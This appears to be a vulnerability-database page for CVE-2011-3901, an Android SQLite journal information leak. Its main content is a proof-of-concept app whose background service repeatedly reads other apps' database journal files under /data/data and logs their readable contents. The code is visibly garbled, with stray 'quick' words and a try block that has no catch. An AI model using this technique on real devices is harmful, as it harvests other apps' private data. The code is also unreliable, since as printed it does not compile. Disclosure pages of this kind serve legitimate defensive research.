| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2011-3901 | 12 Feb 202022:37 | – | circl | |
| CVE-2011-3901 | 12 Feb 202019:43 | – | cve | |
| CVE-2011-3901 | 12 Feb 202019:43 | – | cvelist | |
| EUVD-2011-3855 | 7 Oct 202500:30 | – | euvd | |
| CVE-2011-3901 | 12 Feb 202020:15 | – | nvd | |
| Information disclosure | 12 Feb 202020:15 | – | prion | |
| CVE-2011-3901 | 22 May 202506:09 | – | redhatcve | |
| Advisory: Android SQLite Journal Information Disclosure (CVE-2011-3901) | 10 May 201200:00 | – | securityvulns |
public class SqlliteJournalLeakActivity extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
final Intent intent = new Intent(this, com.ibm.android.sqllitejournal.SqlliteJournalLeakService.class);
final PendingIntent pending = PendingIntent.getService(this, 0, intent, 0);
final AlarmManager alarm = (AlarmManager) this.getSystemService(Context.ALARM_SERVICE);
alarm.cancel(pending);
long interval = 30;
alarm.setRepeating(AlarmManager.ELAPSED_REALTIME, SystemClock.elapsedRealtime(),interval, pending);
}
}
public class SqlliteJournalLeakService extends Service {
private final String[] DATABASES = {
};
private final IBinder mBinder = new SqlliteJournalLeakServiceBinder();
private HashMap<String, Long> mLastChanges = new HashMap<String, Long>();
private FileOutputStream mLog;
@Override
public void onCreate() {
try {quick
mLog = openFileOutput("leak.log", MODE_APPEND);
} catch (FileNotFoundException e) {}
}
@Override
public int onStartCommand(Intent intent, int flags, int startId)
{
trackChanges();
return START_STICKY;
}
private void trackChanges()
{
for (String name : DATABASES)
{
name = "/data/data" + name + "-journal";
File f = new File(name);
if (!f.exists())
{
continue;
}
if (!mLastChanges.containsKey(name))
{
mLastChanges.put(name, f.lastModified());
handleChange(f);
}
long m = f.lastModified();
if (mLastChanges.get(name) >= m)
continue;
mLastChanges.put(name, m);
handleChange(f);
}
}
private void handleChange(File file)
{
log(file.getAbsolutePath(), getPrintable(file));
}
quick
private void log(String pkg, String data)
{
String line = pkg + ":\n\n" + data + "\n================================\n";
try
{
mLog.write(line.getBytes());
mLog.flush();
}
catch (IOException e) {}
}
private static String getPrintable(File journal)
{
String printable = "";
int len = 0;
FileReader fr;
try {
fr = new FileReader(journal);
char[] buffer = new char[1024];
while (-1 != (len = fr.read(buffer)))
{
for (int i = 0 ; i < len ; i++)
{
if (filter(buffer[i]))
printable += buffer[i];
}
}
}
private static boolean filter(char ch)
{
switch (ch)
{
case '\n':
case '\r':
case '\t':
return true;
}
if ((ch >= 0x20) && (ch <= 0x80))
{
return true;
}
return false;
}
public class SqlliteJournalLeakServiceBinder extends Binder {
SqlliteJournalLeakService getService() {
return SqlliteJournalLeakService.this;
}
}
@Override
public IBinder onBind(Intent intent) {
return mBinder;
}
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation